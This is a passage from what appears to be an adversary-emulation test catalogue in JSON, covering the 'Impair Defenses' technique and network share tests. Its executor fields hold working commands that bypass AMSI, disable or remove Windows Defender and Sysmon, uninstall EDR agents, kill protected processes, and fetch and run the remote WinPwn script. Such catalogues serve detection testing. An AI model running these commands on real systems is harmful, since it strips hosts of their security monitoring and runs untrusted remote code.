"14c38f32-6509-46d8-ab43-d53e32d2b131", - "description": "Add a Network Share utilizing the command_prompt\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "share_name": { - "description": "Share to add.", - "type": "string", - "default": "\\\\test\\share" - } - }, - "executor": { - "command": "net use c: #{share_name}\nnet share test=#{share_name} /REMARK:\"test share\" /CACHE:No\n", - "name": "command_prompt" - } - }, - { - "name": "Remove Network Share", - "auto_generated_guid": "09210ad5-1ef2-4077-9ad3-7351e13e9222", - "description": "Removes a Network Share utilizing the command_prompt\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "share_name": { - "description": "Share to remove.", - "type": "string", - "default": "\\\\test\\share" - } - }, - "executor": { - "command": "net share #{share_name} /delete\n", - "name": "command_prompt" - } - }, - { - "name": "Remove Network Share PowerShell", - "auto_generated_guid": "0512d214-9512-4d22-bde7-f37e058259b3", - "description": "Removes a Network Share utilizing PowerShell\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "share_name": { - "description": "Share to remove.", - "type": "string", - "default": "\\\\test\\share" - } - }, - "executor": { - "command": "Remove-SmbShare -Name #{share_name}\nRemove-FileShare -Name #{share_name}\n", - "name": "powershell" - } - }, - { - "name": "Disable Administrative Share Creation at Startup", - "auto_generated_guid": "99c657aa-ebeb-4179-a665-69288fdd12b8", - "description": "Administrative shares are hidden network shares created by Microsoft\u2019s Windows NT operating systems that grant system administrators \nremote access to every disk volume on a network-connected system. These shares are automatically created at started unless they have been\npurposefully disabled as is done in this Atomic test. As Microsoft puts it, \"Missing administrative shares typically \nindicate that the computer in question has been compromised by malicious software.\"\nhttps://threatpost.com/conti-ransomware-gang-has-full-log4shell-attack-chain/177173/\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters\" /v AutoShareServer /t REG_DWORD /d 0 /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters\" /v AutoShareWks /t REG_DWORD /d 0 /f\n", - "cleanup_command": "reg delete \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters\" /v AutoShareServer /f\nreg delete \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters\" /v AutoShareWks /f\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "Remove Administrative Shares", - "auto_generated_guid": "4299eff5-90f1-4446-b2f3-7f4f5cfd5d62", - "description": "Administrative shares are hidden network shares created by Microsoft\u2019s Windows NT operating systems that grant system administrators \nremote access to every disk volume on a network-connected system. As Microsoft puts it, \u201cMissing administrative shares typically \nindicate that the computer in question has been compromised by malicious software.\nhttps://threatpost.com/conti-ransomware-gang-has-full-log4shell-attack-chain/177173/\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "for %i in (C$ IPC$ ADMIN$) do net share %i /delete", - "cleanup_command": "net share ADMIN$ /UNLIMITED >nul 2>&1\nnet share C$=C:\\ >nul 2>&1\nnet share IPC$ >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - } - ] - }, - "T1562.001": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "macOS", - "Linux", - "Containers", - "IaaS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Gordon Long, Box, Inc., @ethicalhax", - "Ziv Karliner, @ziv_kr, Team Nautilus Aqua Security", - "Nathaniel Quist, Palo Alto Networks", - "Gal Singer, @galsinger29, Team Nautilus Aqua Security" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", - "type": "attack-pattern", - "created": "2020-02-21T20:32:20.810Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1562.001", - "url": "https://attack.mitre.org/techniques/T1562/001" - }, - { - "external_id": "CAPEC-578", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/578.html" - }, - { - "source_name": "OutFlank System Calls", - "url": "https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/", - "description": "de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021." - }, - { - "source_name": "MDSec System Calls", - "url": "https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/", - "description": "MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021." - } - ], - "modified": "2021-10-18T21:27:48.159Z", - "name": "Impair Defenses: Disable or Modify Tools", - "description": "Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take the many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information.\n\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor processes and command-line arguments to see if security tools/services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Monitoring for changes to other known features used by deployed security tools may also expose malicious activity.\n\nLack of expected log events may be suspicious.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Windows Registry: Windows Registry Key Modification", - "Service: Service Metadata", - "Command: Command Execution", - "Process: Process Termination", - "Sensor Health: Host Status", - "Windows Registry: Windows Registry Key Deletion" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Log analysis", - "Signature-based detection", - "Host intrusion prevention systems", - "File monitoring" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ], - "identifier": "T1562.001" - }, - "atomic_tests": [ - { - "name": "Unload Sysmon Filter Driver", - "auto_generated_guid": "811b3e76-c41b-430c-ac0d-e2380bfaa164", - "description": "Unloads the Sysinternals Sysmon filter driver without stopping the Sysmon service. To verify successful execution, o verify successful execution,\nrun the prereq_command's and it should fail with an error of \"sysmon filter must be loaded\".\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "sysmon_driver": { - "description": "The name of the Sysmon filter driver (this can change from the default)", - "type": "string", - "default": "SysmonDrv" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Sysmon must be downloaded\n", - "prereq_command": "if ((cmd.exe /c \"where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nul\") -or (Test-Path $env:Temp\\Sysmon\\Sysmon.exe)) { exit 0 } else { exit 1 }\n", - "get_prereq_command": "Invoke-WebRequest \"https://download.sysinternals.com/files/Sysmon.zip\" -OutFile \"$env:TEMP\\Sysmon.zip\"\nExpand-Archive $env:TEMP\\Sysmon.zip $env:TEMP\\Sysmon -Force\nRemove-Item $env:TEMP\\Sysmon.zip -Force\n" - }, - { - "description": "sysmon must be Installed\n", - "prereq_command": "if(sc.exe query sysmon | findstr sysmon) { exit 0 } else { exit 1 }\n", - "get_prereq_command": "if(cmd.exe /c \"where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nul\") { C:\\Windows\\Sysmon.exe -accepteula -i } else\n{ Set-Location $env:TEMP\\Sysmon\\; .\\Sysmon.exe -accepteula -i}\n" - }, - { - "description": "sysmon filter must be loaded\n", - "prereq_command": "if(fltmc.exe filters | findstr #{sysmon_driver}) { exit 0 } else { exit 1 }\n", - "get_prereq_command": "sysmon -u\nsysmon -accepteula -i\n" - } - ], - "executor": { - "command": "fltmc.exe unload #{sysmon_driver}\n", - "cleanup_command": "sysmon -u -i > nul 2>&1\nsysmon -i -accepteula -i > nul 2>&1\n%temp%\\Sysmon\\sysmon.exe -u > nul 2>&1\n%temp%\\Sysmon\\sysmon.exe -accepteula -i > nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "Uninstall Sysmon", - "auto_generated_guid": "a316fb2e-5344-470d-91c1-23e15c374edc", - "description": "Uninstall Sysinternals Sysmon for Defense Evasion\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "sysmon_exe": { - "description": "The location of the Sysmon executable from Sysinternals (ignored if sysmon.exe is found in your PATH)", - "type": "path", - "default": "PathToAtomicsFolder\\T1562.001\\bin\\sysmon.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Sysmon executable must be available\n", - "prereq_command": "if(cmd /c where sysmon) {exit 0} else {exit 1}\n", - "get_prereq_command": "$parentpath = Split-Path \"#{sysmon_exe}\"; $zippath = \"$parentpath\\Sysmon.zip\"\nNew-Item -ItemType Directory $parentpath -Force | Out-Null\nInvoke-WebRequest \"https://download.sysinternals.com/files/Sysmon.zip\" -OutFile \"$zippath\"\nExpand-Archive $zippath $parentpath -Force; Remove-Item $zippath\nif(-not ($Env:Path).contains($parentpath)){$Env:Path += \";$parentpath\"}\n" - }, - { - "description": "Sysmon must be installed\n", - "prereq_command": "if(cmd /c sc query sysmon) { exit 0} else { exit 1}\n", - "get_prereq_command": "cmd /c sysmon -i -accepteula\n" - } - ], - "executor": { - "command": "sysmon -u\n", - "cleanup_command": "sysmon -i -accepteula >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "AMSI Bypass - AMSI InitFailed", - "auto_generated_guid": "695eed40-e949-40e5-b306-b4031e4154bd", - "description": "Any easy way to bypass AMSI inspection is it patch the dll in memory setting the \"amsiInitFailed\" function to true.\nUpon execution, no output is displayed.\n\nhttps://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)\n", - "cleanup_command": "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$false)\n", - "name": "powershell" - } - }, - { - "name": "AMSI Bypass - Remove AMSI Provider Reg Key", - "auto_generated_guid": "13f09b91-c953-438e-845b-b585e51cac9b", - "description": "With administrative rights, an adversary can remove the AMSI Provider registry key in HKLM\\Software\\Microsoft\\AMSI to disable AMSI inspection.\nThis test removes the Windows Defender provider registry key. Upon execution, no output is displayed.\nOpen Registry Editor and navigate to \"HKLM:\\SOFTWARE\\Microsoft\\AMSI\\Providers\\\" to verify that it is gone.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "Remove-Item -Path \"HKLM:\\SOFTWARE\\Microsoft\\AMSI\\Providers\\{2781761E-28E0-4109-99FE-B9D127C57AFE}\" -Recurse\n", - "cleanup_command": "New-Item -Path \"HKLM:\\SOFTWARE\\Microsoft\\AMSI\\Providers\" -Name \"{2781761E-28E0-4109-99FE-B9D127C57AFE}\" -ErrorAction Ignore | Out-Null\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Disable Arbitrary Security Windows Service", - "auto_generated_guid": "a1230893-56ac-4c81-b644-2108e982f8f5", - "description": "With administrative rights, an adversary can disable Windows Services related to security products. This test requires McAfeeDLPAgentService to be installed.\nChange the service_name input argument for your AV solution. Upon exeuction, infomration will be displayed stating the status of the service.\nTo verify that the service has stopped, run \"sc query McAfeeDLPAgentService\"\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "service_name": { - "description": "The name of the service to stop", - "type": "string", - "default": "McAfeeDLPAgentService" - } - }, - "executor": { - "command": "net.exe stop #{service_name}\nsc.exe config #{service_name} start= disabled\n", - "cleanup_command": "sc.exe config #{service_name} start= auto >nul 2>&1\nnet.exe start #{service_name} >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "Tamper with Windows Defender ATP PowerShell", - "auto_generated_guid": "6b8df440-51ec-4d53-bf83-899591c9b5d7", - "description": "Attempting to disable scheduled scanning and other parts of windows defender atp. Upon execution Virus and Threat Protection will show as disabled\nin Windows settings.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "Set-MpPreference -DisableRealtimeMonitoring 1\nSet-MpPreference -DisableBehaviorMonitoring 1\nSet-MpPreference -DisableScriptScanning 1\nSet-MpPreference -DisableBlockAtFirstSeen 1\n", - "cleanup_command": "Set-MpPreference -DisableRealtimeMonitoring 0\nSet-MpPreference -DisableBehaviorMonitoring 0\nSet-MpPreference -DisableScriptScanning 0\nSet-MpPreference -DisableBlockAtFirstSeen 0\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Tamper with Windows Defender Command Prompt", - "auto_generated_guid": "aa875ed4-8935-47e2-b2c5-6ec00ab220d2", - "description": "Attempting to disable scheduled scanning and other parts of windows defender atp. These commands must be run as System, so they still fail as administrator.\nHowever, adversaries do attempt to perform this action so monitoring for these command lines can help alert to other bad things going on. Upon execution, \"Access Denied\"\nwill be displayed twice and the WinDefend service status will be displayed.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "sc stop WinDefend\nsc config WinDefend start=disabled\nsc query WinDefend\n", - "cleanup_command": "sc start WinDefend >nul 2>&1\nsc config WinDefend start=enabled >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "Tamper with Windows Defender Registry", - "auto_generated_guid": "1b3e0146-a1e5-4c5c-89fb-1bb2ffe8fc45", - "description": "Disable Windows Defender from starting after a reboot. Upen execution, if the computer is rebooted the entire Virus and Threat protection window in Settings will be\ngrayed out and have no info.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "Set-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\" -Name DisableAntiSpyware -Value 1\n", - "cleanup_command": "Set-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\" -Name DisableAntiSpyware -Value 0\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Disable Microsoft Office Security Features", - "auto_generated_guid": "6f5fb61b-4e56-4a3d-a8c3-82e13686c6d7", - "description": "Gorgon group may disable Office security features so that their code can run. Upon execution, an external document will not\nshow any warning before editing the document.\n\n\nhttps://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "New-Item -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\"\nNew-Item -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\"\nNew-Item -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\"\nNew-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\" -Name \"VBAWarnings\" -Value \"1\" -PropertyType \"Dword\"\nNew-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\" -Name \"DisableInternetFilesInPV\" -Value \"1\" -PropertyType \"Dword\"\nNew-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\" -Name \"DisableUnsafeLocationsInPV\" -Value \"1\" -PropertyType \"Dword\"\nNew-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\" -Name \"DisableAttachementsInPV\" -Value \"1\" -PropertyType \"Dword\"\n", - "cleanup_command": "Remove-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\" -Name \"VBAWarnings\" -ErrorAction Ignore | Out-Null\nRemove-Item -Path \"HKCU:\\Software\\Microsoft\\Office\\16.0\\Excel\\Security\\ProtectedView\" -ErrorAction Ignore\n", - "name": "powershell" - } - }, - { - "name": "Remove Windows Defender Definition Files", - "auto_generated_guid": "3d47daaa-2f56-43e0-94cc-caf5d8d52a68", - "description": "Removing definition files would cause ATP to not fire for AntiMalware. Check MpCmdRun.exe man page for info on all arguments.\nOn later viersions of windows (1909+) this command fails even with admin due to inusfficient privelages. On older versions of windows the\ncommand will say completed.\n\nhttps://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "\"C:\\Program Files\\Windows Defender\\MpCmdRun.exe\" -RemoveDefinitions -All\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "Stop and Remove Arbitrary Security Windows Service", - "auto_generated_guid": "ae753dda-0f15-4af6-a168-b9ba16143143", - "description": "Beginning with Powershell 6.0, the Stop-Service cmdlet sends a stop message to the Windows Service Controller for each of the specified services. The Remove-Service cmdlet removes a Windows service in the registry and in the service database.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "service_name": { - "description": "The name of the service to remove", - "type": "string", - "default": "McAfeeDLPAgentService" - } - }, - "executor": { - "command": "Stop-Service -Name #{service_name}\nRemove-Service -Name #{service_name}\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Uninstall Crowdstrike Falcon on Windows", - "auto_generated_guid": "b32b1ccf-f7c1-49bc-9ddd-7d7466a7b297", - "description": "Uninstall Crowdstrike Falcon. If the WindowsSensor.exe path is not provided as an argument we need to search for it. Since the executable is located in a folder named with a random guid we need to identify it before invoking the uninstaller.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "falcond_path": { - "description": "The Crowdstrike Windows Sensor path. The Guid always changes.", - "type": "path", - "default": "C:\\ProgramData\\Package Cache\\{7489ba93-b668-447f-8401-7e57a6fe538d}\\WindowsSensor.exe" - } - }, - "executor": { - "command": "if (Test-Path \"#{falcond_path}\") {. \"#{falcond_path}\" /repair /uninstall /quiet } else { Get-ChildItem -Path \"C:\\ProgramData\\Package Cache\" -Include \"WindowsSensor.exe\" -Recurse | % { $sig=$(Get-AuthenticodeSignature -FilePath $_.FullName); if ($sig.Status -eq \"Valid\" -and $sig.SignerCertificate.DnsNameList -eq \"CrowdStrike, Inc.\") { . \"$_\" /repair /uninstall /quiet; break;}}}", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Tamper with Windows Defender Evade Scanning -Folder", - "auto_generated_guid": "0b19f4ee-de90-4059-88cb-63c800c683ed", - "description": "Malware can exclude a specific path from being scanned and evading detection. \nUpon successul execution, the file provided should be on the list of excluded path. \nTo check the exclusion list using poweshell (Get-MpPreference).ExclusionPath \n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "excluded_folder": { - "description": "This folder will be excluded from scanning", - "type": "path", - "default": "C:\\Temp" - } - }, - "executor": { - "command": "$excludedpath= \"#{excluded_folder}\"\nAdd-MpPreference -ExclusionPath $excludedpath", - "cleanup_command": "$excludedpath= \"#{excluded_folder}\"\nRemove-MpPreference -ExclusionPath $excludedpath\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Tamper with Windows Defender Evade Scanning -Extension", - "auto_generated_guid": "315f4be6-2240-4552-b3e1-d1047f5eecea", - "description": "Malware can exclude specific extensions from being scanned and evading detection. \nUpon successful execution, the extension(s) should be on the list of excluded extensions.\nTo check the exclusion list using poweshell (Get-MpPreference).ExclusionExtension.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "excluded_exts": { - "description": "A list of extension to exclude from scanning", - "type": "string", - "default": ".exe" - } - }, - "executor": { - "command": "$excludedExts= \"#{excluded_exts}\"\nAdd-MpPreference -ExclusionExtension $excludedExts", - "cleanup_command": "$excludedExts= \"#{excluded_exts}\"\nRemove-MpPreference -ExclusionExtension $excludedExts -ErrorAction Ignore\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Tamper with Windows Defender Evade Scanning -Process", - "auto_generated_guid": "a123ce6a-3916-45d6-ba9c-7d4081315c27", - "description": "Malware can exclude specific processes from being scanned and evading detection.\nUpon successful execution, the process(es) should be on the list of excluded processes. \nTo check the exclusion list using poweshell (Get-MpPreference).ExclusionProcess.\"\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "excluded_process": { - "description": "A list of processes to exclude from scanning", - "type": "string", - "default": "outlook.exe" - } - }, - "executor": { - "command": "$excludedProcess = \"#{excluded_process}\"\nAdd-MpPreference -ExclusionProcess $excludedProcess", - "cleanup_command": "$excludedProcess = \"#{excluded_process}\"\nRemove-MpPreference -ExclusionProcess $excludedProcess\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Disable Windows Defender with DISM", - "auto_generated_guid": "871438ac-7d6e-432a-b27d-3e7db69faf58", - "description": "The following Atomic will attempt to disable Windows-Defender using the built in DISM.exe, Deployment Image Servicing and Management tool. \nDISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images.\nA successful execution will not standard-out any details. Remove the quiet switch if verbosity is needed.\nThis method will remove Defender and it's package.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "Disable Defender with Defender Control", - "auto_generated_guid": "178136d8-2778-4d7a-81f3-d517053a4fd6", - "description": "Attempting to use Defender Control software to disable Windows Defender. Upon successful execution, Windows Defender will be turned off. \n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "DefenderID": { - "description": "Defender ID that is used as a sort of passcode to disable it within Defender Control from the command line. The machine-specific Defender ID can be obtained within Defender Control by going to menu, command line info, and then retrieving the 4 character passcode to continue (listed after defendercontrol /d /id in the command line info window).", - "type": "string", - "default": "FFFF" - }, - "DefenderControlExe": { - "description": "Path to Defender Control software version 1.6.", - "type": "string", - "default": "$env:temp\\DefenderControl\\DefenderControl\\DefenderControl.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Defender Control must be installed on the machine. \n", - "prereq_command": "if (Test-Path #{DefenderControlExe}) {exit 0} else {exit 1}\n", - "get_prereq_command": "Start-BitsTransfer -Source \"https://web.archive.org/web/20201210152711/https://www.sordum.org/files/download/defender-control/DefenderControl.zip\" -Destination \"$env:temp\\defendercontrol.zip\" -dynamic\nexpand-archive -LiteralPath \"$env:temp\\defendercontrol.zip\" -DestinationPath \"$env:temp\\DefenderControl\"\n" - } - ], - "executor": { - "command": "cmd /c #{DefenderControlExe} /D #{DefenderID} | Out-Null\n", - "cleanup_command": "cmd /c #{DefenderControlExe} /E | Out-Null\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Disable Defender Using NirSoft AdvancedRun", - "auto_generated_guid": "81ce22fd-9612-4154-918e-8a1f285d214d", - "description": "Information on NirSoft AdvancedRun and its creators found here: http://www.nirsoft.net/utils/advanced_run.html\nThis Atomic will run AdvancedRun.exe with similar behavior identified during the WhisperGate campaign.\nSee https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3\nUpon successful execution, AdvancedRun.exe will attempt to run and stop Defender, and optionally attempt to delete the Defender folder on disk. \n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "AdvancedRun_Location": { - "description": "Path of Advanced Run executable", - "type": "path", - "default": "$env:temp\\AdvancedRun.exe" - }, - "delete_defender_folder": { - "description": "Set to 1 to also delete the Windows Defender folder", - "type": "integer", - "default": 0 - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Advancedrun.exe must exist at #{AdvancedRun_Location}\n", - "prereq_command": "if(Test-Path -Path #{AdvancedRun_Location}) {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest \"http://www.nirsoft.net/utils/advancedrun.zip\" -OutFile \"$env:temp\\advancedrun.zip\"\nExpand-Archive -path \"$env:temp\\advancedrun.zip\" -destinationpath \"$env:temp\\\" -Force\n" - } - ], - "executor": { - "command": "Try {cmd /c #{AdvancedRun_Location} /EXEFilename \"$env:systemroot\\System32\\sc.exe\" /WindowState 0 /CommandLine \"stop WinDefend\" /StartDirectory \"\" /RunAs 8 /Run} Catch{}\nif(#{delete_defender_folder}){\n $CommandToRun = rmdir \"$env:programdata\\Microsoft\\Windows Defender\" -Recurse\n Try {cmd /c #{AdvancedRun_Location} /EXEFilename \"$env:systemroot\\System32\\WindowsPowershell\\v1.0\\powershell.exe\" /WindowState 0 /CommandLine \"$CommandToRun\" /StartDirectory \"\" /RunAs 8 /Run} Catch{}\n}\n", - "cleanup_command": "Try {cmd /c #{AdvancedRun_Location} /EXEFilename \"$env:systemroot\\System32\\sc.exe\" /WindowState 0 /CommandLine \"start WinDefend\" /StartDirectory \"\" /RunAs 8 /Run} Catch{}\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Kill antimalware protected processes using Backstab", - "auto_generated_guid": "24a12b91-05a7-4deb-8d7f-035fa98591bc", - "description": "Backstab loads Process Explorer driver which is signed by Microsoft and use it to terminate running processes protected by antimalware software such as MsSense.exe or MsMpEng.exe, which is otherwise not possible to kill.\nhttps://github.com/Yaxser/Backstab", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "process_name": { - "description": "Name of the protected process you want to kill/terminate.", - "type": "string", - "default": "MsMpEng.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Backstab64.exe should exist in %temp%", - "prereq_command": "if (Test-Path $env:temp\\Backstab64.exe) {exit 0} else {exit 1}", - "get_prereq_command": "Start-BitsTransfer -Source \"https://github.com/Yaxser/Backstab/releases/download/v1.0.1-beta/Backstab64.exe\" -Destination \"$env:temp\\Backstab64.exe\" -dynamic" - } - ], - "executor": { - "command": "& $env:temp\\Backstab64.exe -k -n #{process_name}", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "WinPwn - Kill the event log services for stealth", - "auto_generated_guid": "7869d7a3-3a30-4d2c-a5d2-f1cd9c34ce66", - "description": "Kill the event log services for stealth via function of WinPwn", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\ninv-phantom -consoleoutput -noninteractive ", - "name": "powershell" - } - }, - { - "name": "Tamper with Windows Defender ATP using Aliases - PowerShell", - "auto_generated_guid": "c531aa6e-9c97-4b29-afee-9b7be6fc8a64", - "description": "Attempting to disable scheduled scanning and other parts of Windows Defender ATP using set-MpPreference aliases. Upon execution Virus and Threat Protection will show as disabled\nin Windows settings.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "Set-MpPreference -drtm $True\nSet-MpPreference -dbm $True\nSet-MpPreference -dscrptsc $True\nSet-MpPreference -dbaf $True\n", - "cleanup_command": "Set-MpPreference -drtm 0\nSet-MpPreference -dbm 0\nSet-MpPreference -dscrptsc 0\nSet-MpPreference -dbaf 0\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "LockBit Black - Disable Privacy Settings Experience Using Registry -cmd", - "auto_generated_guid": "d6d22332-d07d-498f-aea0-6139ecb7850e", - "description": "LockBit Black - Disable Privacy Settings Experience Using Registry\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "reg add \"HKCU\\Software\\Policies\\Microsoft\\Windows\\OOBE\" /v DisablePrivacyExperience /t REG_DWORD /d 1 /f\n", - "cleanup_command": "reg delete \"HKCU\\Software\\Policies\\Microsoft\\Windows\\OOBE\" /v DisablePrivacyExperience /f >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "LockBit Black - Use Registry Editor to turn on automatic logon -cmd", - "auto_generated_guid": "9719d0e1-4fe0-4b2e-9a72-7ad3ee8ddc70", - "description": "LockBit Black - Use Registry Editor to turn on automatic logon\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v AutoAdminLogon /t REG_DWORD /d 1 /f\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultUserName /t REG_SZ /d Administrator /f\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultDomainName /t REG_SZ /d contoso.com /f\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultPassword /t REG_SZ /d password1 /f\n", - "cleanup_command": "reg delete \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v AutoAdminLogon /f >nul 2>&1\nreg delete \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultUserName /f >nul 2>&1\nreg delete \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultDomainName /f >nul 2>&1\nreg delete \"HKLM\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v DefaultPassword /f >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "LockBit Black - Disable Privacy Settings Experience Using Registry -Powershell", - "auto_generated_guid": 